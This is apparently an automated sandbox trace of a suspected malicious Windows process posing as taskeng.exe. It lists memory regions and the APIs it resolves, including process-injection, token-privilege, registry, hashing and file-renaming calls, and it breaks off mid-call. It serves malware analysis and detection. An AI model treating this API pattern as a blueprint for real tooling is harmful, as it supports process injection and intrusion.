id = 3306 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3307 start_va = 0x7fefdfb0000 end_va = 0x7fefed37fff entry_point = 0x7fefe02cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3308 start_va = 0x7feff7e0000 end_va = 0x7feff82cfff entry_point = 0x7feff7e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3309 start_va = 0x7feff5a0000 end_va = 0x7feff5a7fff entry_point = 0x7feff5a1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3310 start_va = 0x27f0000 end_va = 0x28cffff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 3311 start_va = 0x7feff6b0000 end_va = 0x7feff7d9fff entry_point = 0x7feff6b10d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3312 start_va = 0x7fefdbe0000 end_va = 0x7fefdd57fff entry_point = 0x7fefdbe10e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3313 start_va = 0x7fefd6f0000 end_va = 0x7fefd856fff entry_point = 0x7fefd6f10c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3314 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd531020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3315 start_va = 0x7feff340000 end_va = 0x7feff598fff entry_point = 0x7feff341340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3376 start_va = 0x2b50000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 3377 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 139 os_tid = 0xb28 Thread: id = 140 os_tid = 0x114 Thread: id = 141 os_tid = 0x578 Thread: id = 142 os_tid = 0x464 Thread: id = 143 os_tid = 0x438 Thread: id = 144 os_tid = 0x454 Thread: id = 148 os_tid = 0x83c [0105.000] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77320000 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="ReadFile") returned 0x77331500 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="FlushFileBuffers") returned 0x773269f0 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="WriteFile") returned 0x773435a0 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="GetTickCount") returned 0x77342b00 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="SetFileAttributesW") returned 0x773337a0 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="VirtualAlloc") returned 0x773367a0 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="GetFileSizeEx") returned 0x77329b30 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="VirtualFree") returned 0x77331260 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="SetFilePointerEx") returned 0x7732af00 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="GetFileAttributesW") returned 0x7733bdd0 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="GetVolumeNameForVolumeMountPointW") returned 0x773907d0 [0105.001] GetProcAddress (hModule=0x77320000, lpProcName="GetProcessHeap") returned 0x77343050 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="HeapFree") returned 0x77343070 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="HeapReAlloc") returned 0x77573f20 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="HeapAlloc") returned 0x775933a0 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryA") returned 0x77337070 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="OutputDebugStringA") returned 0x77324f60 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="Thread32First") returned 0x7736aa70 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="Thread32Next") returned 0x7736a980 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentThread") returned 0x77333f20 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="CreateProcessW") returned 0x77341bb0 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="FreeLibrary") returned 0x77336620 [0105.002] GetProcAddress (hModule=0x77320000, lpProcName="MultiByteToWideChar") returned 0x77335b50 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="WideCharToMultiByte") returned 0x773435f0 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="CreateMutexW") returned 0x773313c0 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="ReleaseMutex") returned 0x77342b90 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="SetLastError") returned 0x77342df0 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="WaitForMultipleObjects") returned 0x77331170 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="GetLastError") returned 0x77342dd0 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="CreateThread") returned 0x77336580 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="GetComputerNameW") returned 0x7732d130 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="CreateEventW") returned 0x77335290 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="ExitThread") returned 0x77586930 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="ExitProcess") returned 0x775640f0 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSection") returned 0x77568100 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleFileNameW") returned 0x77337700 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcessId") returned 0x77335a50 [0105.003] GetProcAddress (hModule=0x77320000, lpProcName="AddVectoredExceptionHandler") returned 0x77623ad0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemDefaultLCID") returned 0x773233a0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="GetWindowsDirectoryW") returned 0x773282b0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="WaitForSingleObject") returned 0x77342b20 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="GetProcAddress") returned 0x77343690 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleHandleW") returned 0x77343730 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryW") returned 0x77336f80 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="VirtualProtect") returned 0x77322ef0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="CreateRemoteThread") returned 0x7736c4f0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="VirtualAllocEx") returned 0x7736bbd0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="VirtualFreeEx") returned 0x7736bb90 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="DuplicateHandle") returned 0x77335d10 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="WriteProcessMemory") returned 0x7736bad0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="OpenProcess") returned 0x7733cad0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="Process32NextW") returned 0x773220f0 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="Process32FirstW") returned 0x77321e00 [0105.004] GetProcAddress (hModule=0x77320000, lpProcName="CreateToolhelp32Snapshot") returned 0x773221e0 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="CreateDirectoryW") returned 0x7732ad70 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="TerminateProcess") returned 0x7736bca0 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="SetEvent") returned 0x77333f00 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="DeleteFileW") returned 0x7732ad90 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="Sleep") returned 0x77342b70 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="CloseHandle") returned 0x77342f80 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="CreateFileW") returned 0x77331870 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="lstrcmpiA") returned 0x773240a0 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="lstrlenA") returned 0x7733caf0 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="WriteConsoleW") returned 0x77333d40 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="SetStdHandle") returned 0x7736bce0 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="GetConsoleMode") returned 0x77342e60 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="GetConsoleCP") returned 0x773605f0 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="LCMapStringW") returned 0x77340dd0 [0105.005] GetProcAddress (hModule=0x77320000, lpProcName="HeapSize") returned 0x775682d0 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="GetStringTypeW") returned 0x77339060 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="OutputDebugStringW") returned 0x7732b760 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryExW") returned 0x77336640 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="GetCPInfo") returned 0x77336ce0 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="GetOEMCP") returned 0x7733b580 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="GetACP") returned 0x77336f90 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="IsValidCodePage") returned 0x77339080 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="LeaveCriticalSection") returned 0x77593000 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="EnterCriticalSection") returned 0x77592fc0 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="IsProcessorFeaturePresent") returned 0x7736cc80 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="IsDebuggerPresent") returned 0x77328290 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="RtlUnwindEx") returned 0x77352d90 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="TlsFree") returned 0x77331590 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="TlsSetValue") returned 0x77335cd0 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="TlsGetValue") returned 0x77342bd0 [0105.006] GetProcAddress (hModule=0x77320000, lpProcName="TlsAlloc") returned 0x77337100 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="SetUnhandledExceptionFilter") returned 0x77339b70 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="UnhandledExceptionFilter") returned 0x773b9330 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="RtlVirtualUnwind") returned 0x7736b5b0 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="RtlLookupFunctionEntry") returned 0x7736b610 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="RtlCaptureContext") returned 0x7736b6f0 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="FreeEnvironmentStringsW") returned 0x77336d20 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="GetEnvironmentStringsW") returned 0x77336d00 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemTimeAsFileTime") returned 0x77333f40 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="QueryPerformanceCounter") returned 0x77336500 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleFileNameA") returned 0x773364a0 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="GetStartupInfoW") returned 0x77338070 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="DeleteCriticalSection") returned 0x77565350 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773364e0 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="GetFileType") returned 0x77342e00 [0105.007] GetProcAddress (hModule=0x77320000, lpProcName="GetStdHandle") returned 0x7733d750 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleHandleExW") returned 0x7732b780 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="RaiseException") returned 0x7732cf10 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="RtlPcToFileHeader") returned 0x77352d80 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="DecodePointer") returned 0x77569c50 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="EncodePointer") returned 0x77573bd0 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="GetCommandLineA") returned 0x77341e70 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemInfo") returned 0x77336f70 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="VirtualQuery") returned 0x7733bd40 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="ResumeThread") returned 0x773313a0 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="SuspendThread") returned 0x77322f60 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentThreadId") returned 0x77333ee0 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="OpenThread") returned 0x7733c560 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="FlushInstructionCache") returned 0x773233e0 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="HeapCreate") returned 0x773370e0 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcess") returned 0x77335cf0 [0105.008] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadContext") returned 0x77322f10 [0105.009] GetProcAddress (hModule=0x77320000, lpProcName="GetThreadContext") returned 0x77322f40 [0105.009] GetProcAddress (hModule=0x77320000, lpProcName="LocalFree") returned 0x773347a0 [0105.009] GetProcAddress (hModule=0x77320000, lpProcName="GetVersionExW") returned 0x7732d910 [0105.009] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefdb00000 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptHashData") returned 0x7fefdb0dac0 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefdb089a0 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefdb11e00 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetSecurityDescriptorSacl") returned 0x7fefdb11eb0 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefdb12040 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetSecurityDescriptorDacl") returned 0x7fefdb1b5a0 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="InitializeSecurityDescriptor") returned 0x7fefdb1b504 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegSetValueExW") returned 0x7fefdb11ed0 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegQueryValueExW") returned 0x7fefdb1c2d0 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegOpenKeyExW") returned 0x7fefdb206f0 [0105.009] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSidSubAuthorityCount") returned 0x7fefdb11740 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSidSubAuthority") returned 0x7fefdb11754 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdb1b9b0 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdb1b9e0 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="OpenThreadToken") returned 0x7fefdb1bd84 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetTokenInformation") returned 0x7fefdb1bd50 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="OpenProcessToken") returned 0x7fefdb1bd70 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCreateKeyExW") returned 0x7fefdb1b520 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptReleaseContext") returned 0x7fefdb0dd10 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptDestroyHash") returned 0x7fefdb0db00 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptGetHashParam") returned 0x7fefdb0db20 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptCreateHash") returned 0x7fefdb0dad4 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetLengthSid") returned 0x7fefdb1b580 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptAcquireContextW") returned 0x7fefdb0d98c [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegQueryValueExA") returned 0x7fefdb1c480 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegOpenKeyExA") returned 0x7fefdb1b5f0 [0105.010] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCloseKey") returned 0x7fefdb20710 [0105.011] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegSetValueExA") returned 0x7fefdb11dc0 [0105.011] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCreateKeyExA") returned 0x7fefdb11d10 [0105.011] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7feff2b0000 [0105.011] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRenameExtensionW") returned 0x7feff2de6c0 [0105.011] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRemoveBackslashW") returned 0x7feff2bd014 [0105.011] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRemoveFileSpecW") returned 0x7feff2ba43c [0105.011] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathAddBackslashW") returned 0x7feff2c3f70 [0105.011] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathAddExtensionW") returned 0x7feff2de630 [0105.011] GetProcAddress (hModule=0x7feff2b0000, lpProcName="wvnsprintfA") returned 0x7feff2e2200 [0105.011] GetProcAddress (hModule=0x7feff2b0000, lpProcName="wvnsprintfW") returned 0x7feff2e22e4 [0105.011] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathCombineW") returned 0x7feff2c3dfc [0105.011] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x7fefdfb0000 [0105.014] GetProcAddress (hModule=0x7fefdfb0000, lpProcName="SHGetFolderPathW") returned 0x7fefe033ba4 [0105.014] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77440000 [0105.014] GetProcAddress (hModule=0x77440000, lpProcName="MessageBoxA") returned 0x774b12b8 [0105.014] GetProcAddress (hModule=0x77440000, lpProcName="CharUpperW") returned 0x7745b714 [0105.015] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x7feff7e0000 [0105.017] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x12) returned 0x7feff7e4da0 [0105.017] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x73) returned 0x7feff7e4980 [0105.017] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0xf) returned 0x7feff7e1250 [0105.017] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0xb) returned 0x7feff7e1350 [0105.017] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x9) returned 0x7feff7e1250 [0105.017] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x13) returned 0x7feff7e8000 [0105.017] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x7feff6b0000 [0105.024] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindFirstUrlCacheEntryW") returned 0x7feff747150 [0105.024] GetProcAddress (hModule=0x7feff6b0000, lpProcName="DeleteUrlCacheEntryW") returned 0x7feff747050 [0105.024] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindNextUrlCacheEntryW") returned 0x7feff747500 [0105.024] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindCloseUrlCache") returned 0x7feff6be600 [0105.024] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefede0000 [0105.025] GetProcAddress (hModule=0x7fefede0000, lpProcName="StringFromGUID2") returned 0x7fefee03560 [0105.025] GetProcAddress (hModule=0x7fefede0000, lpProcName="CLSIDFromString") returned 0x7fefedf0680 [0105.025] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitialize") returned 0x7fefedfa51c [0105.025] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitializeSecurity") returned 0x7fefedf8220 [0105.025] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoSetProxyBlanket") returned 0x7fefee1bf00 [0105.025] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoCreateInstance") returned 0x7fefee07490 [0105.025] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoUninitialize") returned 0x7fefee01314 [0105.025] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitializeEx") returned 0x7fefee02a30 [0105.025] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x7feff5d0000 [0105.025] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x2) returned 0x7feff5d3480 [0105.025] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x6) returned 0x7feff5d1320 [0105.025] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x9) returned 0x7feff5d1180 [0105.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x231f9c8 | out: lpSystemTimeAsFileTime=0x231f9c8*(dwLowDateTime=0x351e8fd0, dwHighDateTime=0x1d31ac1)) [0105.025] GetCurrentThreadId () returned 0x83c [0105.026] GetCurrentProcessId () returned 0x2b4 [0105.026] QueryPerformanceCounter (in: lpPerformanceCount=0x231f9d0 | out: lpPerformanceCount=0x231f9d0*=526632685) returned 1 [0105.026] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="FlsAlloc") returned 0x77337190 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="FlsFree") returned 0x773315b0 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="FlsGetValue") returned 0x77343520 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="FlsSetValue") returned 0x7733bd90 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSectionEx") returned 0x773379b0 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="CreateSemaphoreExW") returned 0x7736c4c0 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadStackGuarantee") returned 0x77328050 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="CreateThreadpoolTimer") returned 0x77328820 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadpoolTimer") returned 0x7755b2f0 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7754d8c0 [0105.026] GetProcAddress (hModule=0x77320000, lpProcName="CloseThreadpoolTimer") returned 0x7754d620 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="CreateThreadpoolWait") returned 0x7736ba80 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadpoolWait") returned 0x7755e170 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="CloseThreadpoolWait") returned 0x7754c540 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="FlushProcessWriteBuffers") returned 0x77591f80 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7760ec60 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcessorNumber") returned 0x77590040 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="GetLogicalProcessorInformation") returned 0x7736b820 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="CreateSymbolicLinkW") returned 0x77395ad0 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="EnumSystemLocalesEx") returned 0x7736c3d0 [0105.027] GetProcAddress (hModule=0x77320000, lpProcName="CompareStringEx") returned 0x7736b980 [0105.028] GetProcAddress (hModule=0x77320000, lpProcName="GetDateFormatEx") returned 0x773b0920 [0105.028] GetProcAddress (hModule=0x77320000, lpProcName="GetLocaleInfoEx") returned 0x77323c10 [0105.028] GetProcAddress (hModule=0x77320000, lpProcName="GetTimeFormatEx") returned 0x773ad4e0 [0105.028] GetProcAddress (hModule=0x77320000, lpProcName="GetUserDefaultLocaleName") returned 0x7736b790 [0105.028] GetProcAddress (hModule=0x77320000, lpProcName="IsValidLocaleName") returned 0x7736b770 [0105.028] GetProcAddress (hModule=0x77320000, lpProcName="LCMapStringEx") returned 0x7736b710 [0105.028] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentPackageId") returned 0x0 [0105.028] GetCurrentThreadId () returned 0x83c [0105.028] GetCommandLineA () returned="taskeng.exe {CFDCF914-63AE-4446-B16F-E0A62E2EE661} S-1-5-21-1836691140-625943148-109919340-1000:AUFDDCNTXWT\\aDU0VK IWA5kLS:Interactive:LUA[1]" [0105.028] GetEnvironmentStringsW () returned 0x1d08c0* [0105.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1318, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1318 [0105.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1318, lpMultiByteStr=0x1d1320, cbMultiByte=1318, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1318 [0105.029] FreeEnvironmentStringsW (penv=0x1d08c0) returned 1 [0105.029] GetStartupInfoW (in: lpStartupInfo=0x231f8c0 | out: lpStartupInfo=0x231f8c0*(cb=0x68, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskeng.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1d08c0, hStdError=0x1d1320)) [0105.029] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0105.029] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0105.029] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0105.029] GetLastError () returned 0x7f [0105.029] SetLastError (dwErrCode=0x7f) [0105.029] GetLastError () returned 0x7f [0105.029] SetLastError (dwErrCode=0x7f) [0105.029] GetLastError () returned 0x7f [0105.029] SetLastError (dwErrCode=0x7f) [0105.029] GetACP () returned 0x4e4 [0105.029] GetLastError () returned 0x7f [0105.029] SetLastError (dwErrCode=0x7f) [0105.029] IsValidCodePage (CodePage=0x4e4) returned 1 [0105.029] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x231f850 | out: lpCPInfo=0x231f850) returned 1 [0105.029] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x231f2f0 | out: lpCPInfo=0x231f2f0) returned 1 [0105.029] GetLastError () returned 0x7f [0105.029] SetLastError (dwErrCode=0x7f) [0105.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x231f310, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0105.029] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x231f310, cbMultiByte=256, lpWideCharStr=0x231eff0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䮅⩽") returned 256 [0105.029] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" 